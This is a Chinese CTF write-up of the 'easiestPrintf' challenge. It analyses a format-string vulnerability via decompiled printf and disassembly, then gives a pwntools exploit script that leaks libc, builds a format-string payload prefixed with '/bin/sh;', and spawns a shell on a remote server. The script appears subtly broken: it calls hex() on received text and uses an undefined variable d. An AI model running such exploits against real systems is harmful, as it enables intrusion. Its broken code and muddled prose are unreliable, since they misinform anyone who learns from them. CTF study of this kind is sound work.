easiestPrintf
这个题目让我想起了 之前做过的 oneshoot。
先说下题目保护是全开的。然后我们开始分析下程序。
printf 后面直接跟了exit，由于保护全开，我们不能去修改 返回地址或者exit的got表。
在libc我们仔细看来printf函数：
1
2
3
4
5
6
7
| int printf(int a1, ...)
{
va_list va;
va_start(va, a1);
return vfprintf((int)stdout, a1, (int)va);
}
|
上图是一个任意地址泄漏。
这里有一个很明显的漏洞–格式化串漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| .text:08048811 ; ---------------------------------------------------------------------------
.text:08048811
.text:08048811 loc_8048811: ; CODE XREF: leave+89j
.text:08048811 nop
.text:08048812
.text:08048812 loc_8048812: ; CODE XREF: leave+9Ej
.text:08048812 sub esp, 0Ch
.text:08048815 lea eax, [ebp+s]
.text:0804881B push eax ; format
.text:0804881C call printf
.text:08048821 add esp, 10h
.text:08048824 sub esp, 0Ch
.text:08048827 push 0 ; status
.text:08048829 call _exit
.text:08048829 leave endp
.text:08048829
|
仔细观察，我们发现printf，实质上是调用了vfprintf((int)stdout, a1, (int)va),
如果 dword_1AC768和func_hook + 4 * char_size) 这两个位置的存储的数据为0，那么会进入到正常的流程，那么我就可以从libc中控制流程。
之后做的时候，发现别人特别好的一个方法，那就是
不需要自己%x这样来计算测试偏移值，直接用pwntools中的fmtstr_payload来生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
debug = 1
if debug:
libc = ELF('libc.so.6_0ed9bad239c74870ed2db31c735132ce')
context.log_level = 'info'
io = remote("127.0.0.1",10002)
else:
io = remote("202.120.7.210",12321)
io.recvuntil("Which address you wanna read:\n")
io.sendline(str(0x804A044))
stdout_addr = hex(io.recvline().rstrip())
libcbase = stdout_addr - libc.symbols['_IO_2_1_stdout_']
system = libc.symbols['system'] + libcbase
log.info('stdout addr :%#x' % stdout_addr)
log.info('libcbase : %#x' %libcbase)
log.info('system addr: %#x' %system)
io.recvuntil("Good Bye\n")
write = {d + 148: 0x0804A570 - 0x1c, 0x0804A570: system + 1}
payload = '/bin/sh;'
payload += fmtstr_payload(9, write, len(payload), 'byte')
log.info('len: %d' % len(payload))
io.sendline(payload)
io.interactive()
|
// EXTERNAL_CHANNEL
评论